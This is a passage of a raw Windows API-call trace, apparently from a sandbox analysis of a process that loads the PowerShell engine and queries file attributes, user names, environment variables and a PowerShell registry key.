fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.830] SetErrorMode (uMode=0x1) returned 0x1 [0084.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24cf70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\.", nBufferLength=0x105, lpBuffer=0x24ce60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.831] SetErrorMode (uMode=0x1) returned 0x1 [0084.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.831] SetErrorMode (uMode=0x1) returned 0x1 [0084.831] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.831] SetErrorMode (uMode=0x1) returned 0x1 [0084.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.831] SetErrorMode (uMode=0x1) returned 0x1 [0084.831] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.831] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x24ce60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.835] SetErrorMode (uMode=0x1) returned 0x1 [0084.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d430 | out: lpFileInformation=0x24d430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.835] SetErrorMode (uMode=0x1) returned 0x1 [0084.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.881] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.881] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d798 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d798) returned 0x1 [0084.882] CoTaskMemFree (pv=0x1b763eb0) [0084.882] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.882] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d7d8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d7d8) returned 1 [0084.882] CoTaskMemFree (pv=0x1705a0) [0084.884] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d25530*="Available", lpRawData=0x3d252c0) returned 1 [0084.885] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.885] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.885] CoTaskMemFree (pv=0x1b75b480) [0084.886] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.886] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.887] CoTaskMemFree (pv=0x1b75b480) [0084.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.898] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.898] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0084.898] CoTaskMemFree (pv=0x1b75b480) [0084.898] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.898] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0084.899] CoTaskMemFree (pv=0x1b75b480) [0084.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.901] GetCurrentProcessId () returned 0xd50 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.915] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.915] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.915] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.918] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d7b8 | out: phkResult=0x24d7b8*=0x38c) returned 0x0 [0084.918] RegQueryValueExW (in: hKey=0x38c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d73c, lpData=0x0, lpcbData=0x24d738*=0x0 | out: lpType=0x24d73c*=0x1, lpData=0x0, lpcbData=0x24d738*=0x56) returned 0x0 [0084.918] CoTaskMemAlloc (cb=0x5a) returned 0x1b759ef0 [0084.918] RegQueryValueExW (in: hKey=0x38c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d70c, lpData=0x1b759ef0, lpcbData=0x24d708*=0x56 | out: lpType=0x24d70c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d708*=0x56) returned 0x0 [0084.918] CoTaskMemFree (pv=0x1b759ef0) [0084.918] RegCloseKey (hKey=0x38c) returned 0x0 [0084.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.924] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.924] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.924] CoTaskMemFree (pv=0x1b75b480) [0084.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 